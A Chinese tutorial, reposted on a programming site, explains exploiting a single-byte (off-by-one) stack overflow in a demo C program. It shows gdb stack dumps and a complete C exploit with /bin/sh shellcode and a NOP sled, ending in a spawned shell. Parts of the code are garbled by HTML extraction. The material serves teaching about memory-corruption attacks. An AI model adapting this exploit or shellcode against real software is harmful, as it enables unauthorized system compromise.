选择显示字体大小

一种新的单字节缓冲区溢出技术


  正如你所看到的,有关单字节缓冲区溢出问题确实存在及可利用,但是有没有一种好的方法,例如说猜测地址来实现呢?答案当然是肯定的。 想一想,当发生单字节溢出的时候,%ebp被我们覆盖,如果我们将buffer填满跳转地址,其中跳转地址指向我们的shellcode,它可以放在argv[]或者是环境变量中,那么,当两次ret后,从堆栈中弹出来的地址就会跳到我们的shellcode。如下图:

栈顶(低地址) 栈顶(低地址)

-----------+ ----------
跳转地址 ...... -+
---------- ----------
跳转地址 ......
---------- ----------
+-> ...... ......
---------- ----------
...... -------------> ......
---------- ---------- ==>shellcode
...... ......
---------- ----------
跳转地址 ......
---------- ----------
跳转地址 ......
-----------+ ----------
+--保存的&#37;ebp<-1字节被覆盖 ......
---------- ----------
保存的&#37;eip ...... -+
---------- ----------

栈底(低地址) 栈底(低地址)

在这种情况下,我们实际上仍然要提供两个offset给exploit,一个覆盖&#37;ebp的偏移,一个shellcode地址偏移。但是我们还是有一种方法,即用一个特别的字节来覆盖&#37;ebp的最后一个字节,是&#37;ebp总在buffer里,这样,最后需要猜测的只剩下shellcode地址,与普通的缓冲区溢出一样了。
我们同样来分析warning3的《单字节缓冲区溢出》中的漏洞程序:
#include<stdio.h>
vul(char *p){
char buf[255];
int i;
for(i=0;i<=256;i++){
buf[i]=p[i];
}
}
int main(int argc,char **argv){
if(argc>1) vul(argv[1]);
}

[laolang@localhost teach]&#36; gcc only.c -o only
[laolang@localhost teach]&#36; ./only `perl -e 'print "a"x256'`
segmentation fault (core dumped)
[laolang@localhost teach]&#36; gdb -q only -c core
core was generated by `./only aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
program terminated with signal 11, segmentation fault.
reading symbols from /lib/libc.so.6...done.
loaded symbols for /lib/libc.so.6
reading symbols from /lib/ld-linux.so.2...done.
loaded symbols for /lib/ld-linux.so.2
#0 0x61616161 in ?? ()
(gdb)
看,发生溢出了。此时堆栈如下图所示:

栈顶(低地址)

----------
0x61616161
----------
0x61616161
----------
+-> ...... <--- 由于执行无效指令,导致core dump
----------
......
----------
......
----------
0x61616161
----------
0x61616161
----------
+--保存的&#37;ebp<--- 1字节被(0x61)覆盖
----------
保存的&#37;eip
----------

栈底(低地址) 栈底(低地址)

溢出的关键还在溢出的那一个字节。在这种条件下,只有计算buffer地址和猜测buffer地址两种方法,前者很麻烦,而且对于远程溢出无能为力,所以,我们来研究第二种方法。
为了提高成功率,我们溢出的一个字节的数据应该填一个很小的数字,特别是当buffer长度大于或等于256个字节的时候,不管buffer的地址是多少,总会准确的弹出跳转地址做为&#37;eip,这样实际上只用猜测shellcode的地址,与普通的缓冲区溢出一样了。堆栈如下图所示:
溢出前堆栈情况:
(gdb) x/16 &#36;esp
0xbffff82c: 0xbffff84c 0x08048441 0xbffffa18 0xbffff858
0xbffff83c: 0x4005be78 0x4014cacc 0x4000b1b0 0xbffff868
0xbffff84c: 0xbffff888 0x40048486 0x00000002 0xbffff8b4
0xbffff85c: 0xbffff8c0 0x08048490 0x00000000 0xbffff888
溢出后堆栈情况:
(gdb) x/100 &#36;esp
0xbffff714: 0x4014cacc 0x00000000 0x4003f658 0x00000000
0xbffff724: 0x40008395 0x00000101 0x61616161 0x61616161
0xbffff734: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff744: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff754: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff764: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff774: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff784: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff794: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7a4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7b4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7c4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7d4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7e4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7f4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff804: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff814: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff824: 0x61616161 0x61616161 0xbffff800 <---- 看,最后一个字节被覆盖
……
(gdb)

此时:

栈顶(低地址)

----------
0x61616161
----------
0x61616161
----------
+-> ...... <--- 由于执行无效指令,导致core dump
----------
......
----------
......
----------
0x61616161
----------
0x61616161
----------
+--保存的&#37;ebp<--- 1字节被(0x00)覆盖
----------
保存的&#37;eip
----------

栈底(低地址) 栈底(低地址)

只要被覆盖的字节足够小,最终都会执行到我们的shellcode。以下是exploit:
[mrj@localhost test]&#36; cat exp_only_2.c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define nop 0x90
#define buff 2048 //缓冲区大小
#define bit 16 //覆盖字节
#define point 256 //溢出点
#define offset 500 //偏移
unsigned long get_esp(void){
__asm__("movl &#37;esp,&#37;eax");
}
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
int main(int argc,char **argv){
char *buf;
int addr=get_esp(),bsize=buff+point,offset=offset,bit=bit;
int i,j;
if(!(buf=malloc(bsize))){
printf("no enough memory!n");
exit(1);
}
if(argc>1) bit=atoi(argv[1]);
if(argc>2) offset=atoi(argv[2]);
addr-=offset;
for(i=0;i buf[i]=(addr&0x000000ff);
buf[i+1]=(addr&0x0000ff00)>>8;
buf[i+2]=(addr&0x00ff0000)>>16;
buf[i+3]=(addr&0xff000000)>>24;
}
buf[i++]=bit;
for(i=i;i buf[i]=nop;
for(i=i,j=0;j buf[i]=shellcode[j];
buf[bsize-1]='';
execl("./only_2","only_2",buf,null);
}
[mrj@localhost test]&#36; gcc exp_only_2.c -o exp_only_2
[mrj@localhost test]&#36; ./exp_only_2
sh-2.05&#36; exit
exit
[mrj@localhost test]&#36;
◆结束语:
正如你所看到的,对于有单字节溢出的程序,同样也可以使用猜测shellcode地址的方法来进行攻击,这说明远程的单字节缓冲区溢出可以实现。但是并不是所有的单字节溢出都可以利用,例如说在大endian结构的系统下就不能成功溢出。或者buffer太小的话,我们猜测buffer地址和shellcode地址就显得十分麻烦。


 


关键字 本文所属关键字

相关 与本文相关文章

分类 所有文章关键字导航

源码编程相关

Java   Asp   PHP   .Net   XML   C/C++   CGI   VB   Jsp   J2ee   J2se   J2me   EJB   Servlet   Tomcat   Resin   Struts   Weblogic   Eclipse   ANT   GUI   JMS   Web servise   IDEA   Webphere   Hibernate   Spring   Jboss   Applet   Swing   Socket   Javamail   Perl   Ajax   P2P   安全   模式   框架   测试   开源   游戏

SQL数据库相关

My-SQL   Ms-SQL   Access   DB2   Oracle   Sybase   SQLserver   索引   存储过程   加密   数据库   分页   视图  

手机无线相关

3G   Wap   CDMA   GRPS   GSM   IVR   彩信   短信   无线   增值业务

网页设计制作相关

HTML   CSS   网页配色   网页特效   Javascript   VBscript   Dreamweaver   Frontpage   JS   Web   网站设计

网站建设推广相关

建站经验   网站优化   网站排名   推广   Alexa

操作系统/服务器相关

Windows XP   Windows 2000   Windows 2003   Windows Me   Windows 9.x   Linux   UNIX   注册表   操作系统   服务器   应用服务器

图形图像多媒体相关

Photoshop   Fireworks   Flash   Coreldraw   Illustrator   Freehand   Photoimpact   多媒体   图形图像

标准 网站致力的规范

Valid CSS!

无不良内容,无不良广告,无恶意代码

Valid XHTML 1.0 Transitional

creativecommons